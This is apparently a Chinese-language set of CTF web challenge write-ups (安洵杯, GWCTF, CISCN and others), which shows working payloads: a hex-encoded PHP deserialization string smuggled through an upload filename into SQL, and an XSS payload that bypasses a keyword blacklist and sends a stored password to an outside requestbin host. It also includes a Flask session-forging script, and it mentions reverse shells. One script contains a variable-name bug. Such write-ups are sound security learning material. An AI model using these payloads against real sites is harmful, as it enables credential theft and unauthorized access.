[安洵杯 2019]不是文件上传
打开靶机,是一个文件上传页面
测试了一会儿发现只能上传图片
然后就去看了一下源码
原来这就是源码泄露题
源码复制不过来我就不复制了
upload.php
<?php
include("./helper.php");
class upload extends helper {
public function upload_base(){
$this->upload();
}
}
if ($_FILES){
if ($_FILES["file"]["error"]){
die("Upload file failed.");
}else{
$file = new upload();
$file->upload_base();
}
}
$a = new helper();
发现没有过滤file文件名并且调用了helper类
跟一下helper类中有一个__destruct
魔术方法可以利用,通过调用view_files
中的file_get_contents
来读取flag。
这里改为true,利用这里的内容读一下flag、
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
输出:O:6:"helper":2:{s:9:"ifview";b:1;s:9:"config";s:5:"/flag";}
这里的属性值ifview和config都是protected类型的,所以需要将payload修改为:
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
(以至于为什么要将修改为\0\0\0,是因为源码中在存取过程中对protected类型的属性进行了处理。)
正常上传图片的sql语句为:
INSERT INTO images (</span><span class="n">title</span><span class="o">
,</span><span class="n">filename</span><span class="o">
,</span><span class="n">ext</span><span class="o">
,</span><span class="n">path</span><span class="o">
,</span><span class="n">attr</span><span class="o">
) VALUES('TIM截图20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')
由于title处是我们能够控制的,所以构造文件名如下:
1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg
因为上传的文件名中不能有双引号,所以将payload进行16进制编码。
使用 Brupsuite 将上传的 filename 修改为构造的文件名上传,再访问 show.php 即可得到flag。
参考:安洵杯2019 官方Writeup(Web/Misc)
[GWCTF 2019]mypassword
又是面向WP做题的一天
一个登陆页面
登陆呗
发现有一个feedback
目测是要打XSS了
发现源码中有一些注释:
if(is_array($feedback)){
echo "";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
发现存在黑名单过滤,但是仔细读一下发现是替换为空,双写就可以绕过了
之后再login.js中发现了另一些代码
if (document.cookie && document.cookie != '') { var cookies = document.cookie.split('; '); var cookie = {}; for (var i = 0; i < cookies.length; i++) { var arr = cookies[i].split('='); var key = arr[0]; cookie[key] = arr[1]; } if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){ document.getElementsByName("username")[0].value = cookie['user']; document.getElementsByName("password")[0].value = cookie['psw']; } }
会把当前用户的用户名和密码填进当前的表单中来
允许内联脚本执行, 但是不可以远程请求js脚本执行, 不过已经够了, 把密码发到xss平台就好
<incookieput type="text" name="username"> <incookieput type="password" name="password"> <scrcookieipt scookierc="./js/login.js"></scrcookieipt> <scrcookieipt> var psw = docucookiement.getcookieElementsByName("password")[0].value; docucookiement.locacookietion="http://http.requestbin.buuoj.cn/19thsto1/?a="+psw; </scrcookieipt>
[CISCN2019 华东南赛区]Web4
打开靶机只有一个按钮,?url=https://baidu.com
猜测含有文件包含,读一下etc/passwd
发现了app目录,读一下源码
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
发现定义了一个/flag路由,如果username为fuck就输出flag
发现加密方式是app.config['SECRET_KEY'] = str(random.random()*233)
而这个种子来源于random.seed(uuid.getnode())
uuid.getnode()
返回的是什么呢?——MAC地址。
所以我们读一下mac:/sys/class/net/eth0/address
写个脚本算一下随机数
import random
ma="02:42:ae:00:c1:a2"
mac=mac.replace(":", "")
random.seed(int(mac,16))
key = str(random.random() * 233)
print(key)
然后用flask_session_cookie_manager3.py解密和加密
decode -s 211.833641783 -c eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.XqaWVg.-UW-FoXwQwwRr0kbQLgcNSWTuTg --> {'username': b'www-data'} encode -s 211.833641783 -t "{'username': b'fuck'}" --> eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.XqaXKQ.SO-G1LwBT7IxPpvOMtzDR1vA4ZY
生成的cookie替换已有的cookie,访问flag就有flag了
[CSAWQual 2019]Web_Unagi
打开靶机,发现有一个文件上传界面,给了示例:
很明显是应该使用XXE读文件了,给了flag在根目录,构造一下
上传以后发现被拦截了:
那就上传一个UTF16的吧!
成功获取flag
[WUSTCTF2020]easyweb
tomcat文件包含漏洞,找个JSP反弹shell脚本包含监听即可
Wallbreaker_Easy
打开靶机直接给了shell
连接上去直接用插件绕过了。。。。。。。。
预期解是绕过disable_function
https://xz.aliyun.com/t/4688
[watevrCTF-2019]Pickle Store
Pickle反序列化 python类的。从网上找了个反弹shell的python3脚本,替换cookie监听一下就可以了
[FireshellCTF2020]URL TO PDF
随便输入一个url,可以返回一个PDF。猜测要通过带出flag的内容到pdf中
这个文章了
写一个html
分离下就有了